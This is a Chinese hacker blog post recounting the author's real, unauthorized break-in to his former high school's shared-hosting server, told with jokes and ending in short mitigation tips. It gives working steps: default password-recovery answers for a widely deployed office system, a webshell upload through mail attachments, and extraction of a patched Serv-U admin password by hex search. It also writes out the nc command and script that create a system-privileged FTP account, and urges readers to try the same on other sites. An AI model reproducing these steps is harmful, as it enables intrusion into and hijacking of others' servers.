自從Serv-U本地權限提升漏洞出來(lái)以后，大家手握Su.exe這把網(wǎng)兜逢雞就罩，一時(shí)間的肉雞明顯增多、質(zhì)量直線(xiàn)上升啊。特別《Win2000虛擬主機入侵大法》中的方法流傳廣泛之后，大家手里開(kāi)始有了些做虛擬主機的高帶寬、大內存，甚至有N個(gè)CPU的極品肉雞，恭喜恭喜啊^_^（臺下觀(guān)眾：同喜同喜）?？墒且灿鲆?jiàn)了用N多修補了這個(gè)Serv-U本地權限提升漏洞、怎么也提升不了權限的老柴雞，今天我就以我的一次真實(shí)入侵和大家來(lái)探討一下怎么再抓這些肉雞。
一．一個(gè)網(wǎng)絡(luò )辦公系統
一個(gè)月高風(fēng)黑的如冰寒夜，我又一次打開(kāi)了俺們高中的學(xué)校網(wǎng)站，在主頁(yè)上他們把學(xué)校的網(wǎng)絡(luò )建設吹的多么多么的好，我是越看越郁悶，我在學(xué)校3年竟然連機房都沒(méi)讓我進(jìn)去過(guò)，甚至都記不得有機房。心想，我怎么也得給他們提個(gè)醒哦，唉，這種當頭一棒、拯救世人的責任我扛了，誰(shuí)叫我帥呢^_^（臺下觀(guān)眾的臭雞蛋炒西紅柿開(kāi)始準備了）。
我馬上拿出X-SCAN勾選全部選項來(lái)了個(gè)大掃描，服務(wù)器是Windows2000高級服務(wù)器版，服務(wù)器只開(kāi)了80、21、25、3389端口，服務(wù)器應該有防火墻，或者開(kāi)了TCP/IP過(guò)濾了，漏洞掃描是一個(gè)也沒(méi)有，應該是SP4+最新補丁。這樣的服務(wù)器應該不是我們高中的那些網(wǎng)管配置的出來(lái)的，這樣說(shuō)有點(diǎn)看不起人，但這也應該是事實(shí)。查了查IP，是北京聯(lián)通的，看來(lái)用的是虛擬主機了。
馬上打開(kāi)動(dòng)畫(huà)吧明小子寫(xiě)的《旁注入侵專(zhuān)用工具》（圖一）。這個(gè)工具功能非常強大，先是通過(guò)whois.webhosting.info查詢(xún)某個(gè)IP綁定的所有域名，然后導入軟件自動(dòng)查詢(xún)可以上傳的頁(yè)面或者論壇、文章系統的數據庫，比如DvBbs 7.0的上傳頁(yè)面和動(dòng)易、青創(chuàng )文章系統的漏洞頁(yè)面、動(dòng)網(wǎng)數據庫等等。查到漏洞頁(yè)面就可以通過(guò)軟件自帶的漏洞利用程序直接上傳ASP木馬。掃描結果非常令我失望，這個(gè)服務(wù)器可能是新開(kāi)的，上面只有很少十幾個(gè)網(wǎng)站，沒(méi)有有上傳漏洞的。
郁悶中打開(kāi)主頁(yè)閑逛，主頁(yè)是純html寫(xiě)的，只有一個(gè)同學(xué)錄是asp的，用的是《風(fēng)月同學(xué)錄》最新版的，試了試弱密碼，錯誤。打上默認的《風(fēng)月同學(xué)錄》的數據庫地址，數據庫地址倒是沒(méi)改，可是做了防下載處理。
無(wú)聊中胡亂點(diǎn)開(kāi)了他的所謂的“企業(yè)網(wǎng)絡(luò )辦公系統”，弱口令沒(méi)進(jìn)去，忽然看見(jiàn)一個(gè)“如果你忘記密碼的話(huà)，請從這里找回你的密碼！”，點(diǎn)了下，名字輸入admin。密碼提示問(wèn)題是“0000”，我也隨手輸了“0000”，哈哈，正確，進(jìn)入管理頁(yè)面（圖二）。進(jìn)去后感覺(jué)和《X檔案》曾經(jīng)介紹過(guò)的《A4網(wǎng)絡(luò )教學(xué)系統》有點(diǎn)像，試試能不能上傳任意就試了試上傳頁(yè)面，看到“行政管理”里有個(gè)“上報文件”找了個(gè)海洋頂端ASP木馬2005，上傳成功了，狂郁悶的是怎么也找不到傳到什么地方了（圖三）。又找了找發(fā)現了有個(gè)“個(gè)人信箱”，給自己寫(xiě)封信，附件里直接附上海洋頂端2005，打開(kāi)收件箱，哈哈，ASP附件竟然可以直接打開(kāi)，得到Webshell（圖四）。
后來(lái)測試發(fā)現網(wǎng)上的這個(gè)辦公系統N多，在Baidu里輸入“企業(yè)網(wǎng)絡(luò )辦公系統”就OK，用剛才的默認密碼提示問(wèn)題和提示答案絕大部分都可以進(jìn)去，很快得到Webshell。大家可以試試
二．絕望的權限提升
有了Webshell，這就可以修改網(wǎng)站的主頁(yè)來(lái)提醒提醒學(xué)校管理員了，但在使用過(guò)程中發(fā)現這個(gè)主機的速度超快啊，呵呵，作成肉雞一定很爽，可在上面做下載，掃肉雞，哈哈，還可以?huà)霶Q等級，興奮的想狂笑。
自從我想把他搞成肉雞，我的苦難就開(kāi)始了。我開(kāi)始了絕望的權限提升之旅。
在Webshell里輸入net user，頂端ASP木馬提示“文件打開(kāi)失敗”“沒(méi)有權限”?？磥?lái)限制了Guest對CMD.EXE的訪(fǎng)問(wèn)了，那我們自己傳一個(gè)上去CMD.EXE過(guò)去。上傳成功。然后在海洋頂端ASP木馬里自定義CMD.EXE路徑，可是還是不能執行CMD命令。那再看看C:\winnt\system32\inetsrv\data這個(gè)目錄有沒(méi)有寫(xiě)權限Windows2000的這個(gè)目錄默認是Everyone完全控制的（可參見(jiàn)《X檔案》12期《一次艱難的虛擬主機入侵》），CMD上傳成功了。執行net start ，FTP果然是用的Serv-U。我一聲冷笑，嘿嘿，怨你命苦吧。然后上傳了Serv-U本地權限提升漏洞利用程序Su.exe，滿(mǎn)懷希望的運行C:\winnt\system32\inetsrv\data\su.exe “net suer intruder$ 0123123 /add” 。結果返回了這樣的結果：
<220 Serv-U FTP Server v5.0 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<530 Not logged in.
看樣子管理員已經(jīng)對Serv-u本地權限提升漏洞做了修補了。他修改了默認的SVERV -U的管理員名字或者密碼，權限提升必然失敗了。郁悶吶！
大家都知道在Windows2000+SP4的機器上用漏洞提升權限是多么的不容易啊，好不容易出了這么個(gè)好洞洞就這么被堵上了，俺心不甘，心不甘……55555……
繼續在主機里溜達，發(fā)現主機沒(méi)有多余的服務(wù)，替換服務(wù)的辦法也算是基本泡湯了。用網(wǎng)上流傳的asp直接加管理員用戶(hù)的代碼試了試也沒(méi)有效果。
此后我每天上去溜達，就是無(wú)處下口，基本上能用的所有辦法都用了，就差帶上匕首、背著(zhù)炸藥包去直接找管理員要密碼了。
三、柳暗花明 峰回路轉
那陣子做夢(mèng)的時(shí)候老是夢(mèng)見(jiàn)我輕松提升權限拿下它，然后用Winhex把Serv-U的文件改了改，把本地權限提升漏洞給補上了，然后肉雞可就是我自己的了，我有可以?huà)霶Q，可以做QQ代理，哈哈哈哈哈哈……（因半夜狂笑被舍友狂扁N+1次）忽然……十六進(jìn)制……修改默認用戶(hù)名……密碼……我想到了！一下子醒來(lái)，興奮啊，結果怎么也睡不著(zhù)了（結果第二天好慘啊，考試呢，我困的差點(diǎn)把大腿掐腫了都差點(diǎn)睡著(zhù)）。
忽然想通了一點(diǎn)東東,管理員修補這個(gè)漏洞是把程序里原來(lái)的密碼#l@$ak#.lk;0@P改成了別的，那他改完的密碼也還在程序里啊，如果我能把它給弄下來(lái)，用Winhex或者Xhex來(lái)個(gè)大刑伺候，不信它不招出密碼。
第二天考古代文學(xué)，那個(gè)題是又老又臭啊，一陣子忽悠完就往服務(wù)器里跑?。ㄅ_下觀(guān)眾都穿起了黑披風(fēng)，帶上了墨鏡，真以為自己是尼奧了，寒……），馬上打開(kāi)服務(wù)器上的海洋頂端2005，直接查看C:\Program Files\Serv-U\目錄，成功，看到文件列表了，找到ServUAdmin.exe，用海洋頂端2005的“流下載”下載了下來(lái)。激動(dòng)啊……鼻血出來(lái)了……
回來(lái)馬上用Xhex打開(kāi)了ServUAdmin.exe，使用快捷鍵Ctrl+F，輸入LocalAdministrator，點(diǎn)搜索，哈哈，密碼和這個(gè)“LocalAdministrator”是一家子的，找到了，密碼是“85457845152145”！這個(gè)碰巧管理員沒(méi)有修改用戶(hù)名，那要是修改了我們怎么搜索??？其實(shí)也好辦，我們找一個(gè)和同一版本的正常Serv-U的ServUAdmin.exe，搜索“LocalAdministrator”，找到它的偏移地址記下，然后再打開(kāi)第一個(gè)ServUAdmin.exe，快捷鍵Ctrl+G，跳轉到這個(gè)地址就可以找到用戶(hù)名和密碼了。（圖六）那要是管理員該端口了呢？這個(gè)就跟簡(jiǎn)單了，直接在Webshell里來(lái)個(gè)Netstat -an，找找127.0.0.1：XXXXX端口，猜也猜到了。而且修改管理端口容易出現錯誤，我修改了幾個(gè)都出現不能管理的錯誤。
有密碼了，一切順利了，我腦袋比較笨，所以開(kāi)始用了一個(gè)比較笨的方法。上傳NC.exe和su.txt到服務(wù)器，然后C:\winnt\system32\inetsrv\data\nc.exe 127.0.0.1 -p 43958 < C:\winnt\system32\inetsrv\data\su.txt
su.txt內容如下：
USER LocalAdministrator
PASS 85457845152145
SITE MAINTENANCE
-SETDOMAIN
-Domain=MyFTP|0.0.0.0|22|-1|1|0
-DynDNSEnable=0
DynIPName=
-SETUSERSETUP
-IP=0.0.0.0
-PortNo=21
-User=test
-Password=123456
-HomeDir=c:\
-Maintenance=System
-Ratios=None
Access=c:\|RWAMELCDP
-GETUSERSETUP
這樣服務(wù)器就建立了一個(gè)叫MyFTP新域，賬號是test，密碼是123456，用戶(hù)目錄是C:\，用戶(hù)權限是Serv-U系統管理員。在本地Serv-U中新建一個(gè)服務(wù)器，填上這臺服務(wù)器的IP，端口填上22，用戶(hù)名test,密碼123456，結果卻登陸失敗。想了想原因，可能服務(wù)器使用了TCP/IP過(guò)濾或者使用了防火墻，不允許訪(fǎng)問(wèn)非認證端口。這個(gè)端口如果改成21是不行的，我測試了兩臺，都莫名其妙的失敗了。
后來(lái)想，我既然有了密碼，我直接修改那個(gè)權限提升漏洞利用程序中的密碼“#l@$ak#.lk;0@P”為我得到的密碼不就可以利用了嘛！找出這個(gè)本地權限提升漏洞的利用代碼，改掉這個(gè)密碼，編譯成功，上那臺服務(wù)器上試試，成功了！得到系統權限！馬上加了個(gè)用戶(hù)，肉雞已經(jīng)開(kāi)了終端服務(wù)，很方便！
入侵到此結束，剩下的就是打掃戰場(chǎng)了。
通過(guò)終端登陸上肉雞后發(fā)現，剛才NC提交的東東是有效果的，服務(wù)器里有了一個(gè)MyFTP的新域，連接不上是因為肉雞上裝了防火墻。（圖七）
后來(lái)想想，很多朋友的機器上沒(méi)裝C語(yǔ)言，這樣利用畢竟不方便。我就使用我學(xué)的實(shí)在不怎么樣的BCB寫(xiě)了個(gè)圖形界面的配置程序（圖八），大家先湊合著(zhù)用著(zhù)！只是這個(gè)程序大了點(diǎn)，300多K，帶著(zhù)不方便，那些出門(mén)在外不忘黑站的哥們們可能受不了，那我們可以直接用Xhex打開(kāi)su.exe，查找“LocalAdministrator”和“#l@$ak#.lk;0@P”，改成自己得到的密碼也可以。
四、事后的思考
這種Serv-U本地權限提升漏洞到底要怎么修補呢？這種僅僅簡(jiǎn)單修改文件中默認密碼的做法顯然是不安全的。那我們可以不給那個(gè)Internet來(lái)賓賬號Serv-U安裝目錄瀏覽的權限，這樣就沒(méi)法下載程序找密碼了（圖九）。但是這么做這漏洞的隱患還是存在的，比如本地用戶(hù)的權限提升。
再想想，因為Serv-U是以服務(wù)啟動(dòng)默認是以System權限運行的，所以才有被權限提升的可能。如果我們把Serv-U的啟動(dòng)用戶(hù)改成一個(gè)USER組的用戶(hù)，那么就再不會(huì )有所謂的權限提升了。（圖十）但要注意的是，這個(gè)低權限用戶(hù)一定要對Serv-U安裝目錄和提供FTP服務(wù)的目錄或盤(pán)符有完全控制的權限。經(jīng)測試發(fā)現，使用普通組用戶(hù)啟動(dòng)的Serv-U是不能增加用戶(hù)和刪除用戶(hù)的，其他一切正常。
評論Feed: http://www.neeao.com/Blog/feed.asp?q=comment&id=323
引用鏈接: http://www.neeao.com/Blog/trackback.asp?id=323
